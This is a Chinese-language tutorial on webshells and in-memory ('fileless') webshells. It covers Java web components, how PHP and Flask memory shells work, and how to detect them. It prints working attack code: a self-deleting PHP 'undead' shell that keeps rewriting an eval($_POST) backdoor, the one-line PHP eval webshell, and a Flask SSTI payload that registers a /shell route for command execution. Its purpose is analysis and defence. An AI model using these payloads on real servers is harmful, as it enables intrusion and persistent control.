0x00Webshell简介
webshell是什么?
答:webshell就是以各种网页文件形式存在的一种代码执行环境,攻击者可以通过webshell可以获取网站管理、服务器管理、权限管理....(攻击方法简单,只需上传一个代码文件,通过webshell管理工具连接即可
内存马是什么?
答:内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多
补充:内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度
webshell内存马如何进行攻击?
答:方法一:通过访问存在漏洞的url,加上命令执行参数,即可让服务器返回结果;方法二:通过webshell管理工具(eg:蚁剑,冰蝎,哥斯拉),进行远程连接后攻击目标
Java web三大件?
答:Listener、Filter、Servlet
Listener是什么?
答:JavaWeb开发中的监听器(Listener)就是
Application
、Session
和Request
三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件
Filter是什么?
答:filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在http服务请求到达 Servlet之前,拦截客户的http服务请求 ,根据需要检查http服务请求,也可以修改http服务请求头和数据;在http服务响应到达客户端之前,拦截http服务响应,根据需要检查http服务响应,也可以修改http服务响应头和数据。
servlet是什么?
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层
补充:它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户
0X01内存马原理
内存马原理
由客户端发起的Web请求后,中间件的各个独立的组件如
Listener
、Filter
、Servlet
等组件会在请求过程中做监听、判断、过滤等操作,内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件,插入恶意的shellcode
,达到持久化控制服务器的目的
但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。而内存攻击者正是利用软件安全漏洞,构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中的某些特定敏感位置,从而劫持软件控制流、执行流,转而执行外部输入的指令代码,造成目标系统被获取远程控制,让内存马的攻击得以实现。
PHP内存马原理
php不死马是通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的
Python内存马原理
利用
flask
框架中存在的ssti
注入来实现内存修改的;具体是通过flask框架存在应用模板渲染过程的render_template_string()
函数,在进行渲染但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现python内存马的注入
0X02内存马探究
PHP不死马
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = ‘<?php @eval($_POST["123"]) ?>’;
file_put_contents("11.php", $content);
usleep(10000);
}
?>
与下面的一句话木马,相比较,会发现它多出了不少函数(这个先放一边);我们来分析一下一句话木马,对它的构造有一定的了解,以方便我们分析内存马的构造方法。
<?php @eval($_POST['123']);?>
通过
<?php....?>
我们知道它是一个标准的php文件;"@"在php语法中表示:抑制错误信息即使有错误也不返回;
"eval"在php语法中表示:把字符串作为php代码执行;
"$_POST"在php语法中表示:通过post接收命令(这里的123是用webshell工具连接的密码)
这时我们对比PHP的不死码,可以发现它的"骨架"就是一句话木马的基础形态;接着我们来分析PHP内存马的"血肉"(eg:set_time_limit;ignore_user_abort;unlink.......)
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争
所以对于PHP不死马,我们直接删除上传文件是无法阻止它继续运行的;但是使用条件竞争写入同名文件可以有效的清除该恶意代码。
Python内存马
我们可以对网站上的一个简单flask ssti案列进行简单的分析;可以发现内容是访问/index后加上content请求参数就会被渲染;又因为渲染的content内容是用户可控,利用这点生成内存马;最后我们通过解析该payload使用的函数的作用来理解python内存马的。
http://127.0.0.1:5000/index?=content{{a.__init__.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell1%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
我们可以根据python内存马的payload还原出没有经过加密的python内存马的原貌,进而分析该内存马的特点,以方便防御类似的代码攻击。
content{{a.__init__.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell1',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']}
)
}}
在与另外一个python内存马比较,可以发现它们的共同特点都具有大量相同的函数调用,并且有些函数使用方法与php内存马的函数使用方法相同
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
eval
:eval(expression[, globals[, locals]])有两个参数非常重要expression--后接表达式
globals--变量作用域,全局命名空间,如果被提供,则必须是一个字典对象
locals--变量作用域,局部命名空间,如果被提供,可以是任何映射对象
__globals__
:以字典的形式返回函数所在的全局命名空间所定义的全局变量
__builtins__
:内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载(这个模块包括了很多强大的 built-in 函数,例如eval, exec, open.....)
__class__
:返回调用的参数类型
__bases__
:返回基类列表(继承父类)
add_url_rule
:注册了一个/shell的路由,init相当于构造函数,定义自己的属性,通过init.globals得到他们的命名空间从而得到builtins就可以执行内置函数如eval, exec, open等。
如果要进行漏洞验证时,一般可以使用如下exp进行弹出calc即可。
http://127.0.0.1:5000/index?=url_for.__globals__['__builtins__']['eval']("__import__('os').system('open -a Calculator')")}}
0X03内存马的检测
内存马排查思路: 先判断是通过什么方法注入的内存马,可以先查看web日志是否有可疑的web访问日志,如果是filter或者listener类型就会有大量url请求路径相同参数不同的,或者页面不存在但是返回200的,查看是否有类似哥斯拉、冰蝎相同的url请求,哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。通过查找返回200的url路径对比web目录下是否真实存在文件,如不存在大概率为内存马。
如在web日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的error.log日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞
PHP内存码检测
检查所有php进程处理请求的持续时间
检测执行文件是否在文件系统真实存在
检测该文件的进程状态
检测关闭后还在运行的进行
Python内存马检测
查看所有内建模块中是否包含eval、exec等可以执行代码的函数如:
class warnings.catch_warnings
、class site.Quitter
等检测
self.add_url_rule()
中特殊名字的路由如shell等检测文件的请求头和日志
0X04总结
这篇文章是看了大佬们的技术文章,写出来的,为了表示感谢,我把收集的文章列举在后面,respect!
PHP不死马:内存马介绍及分析
Python内存马:Python内存马分析
内存马查杀:内存马查杀工具FindShell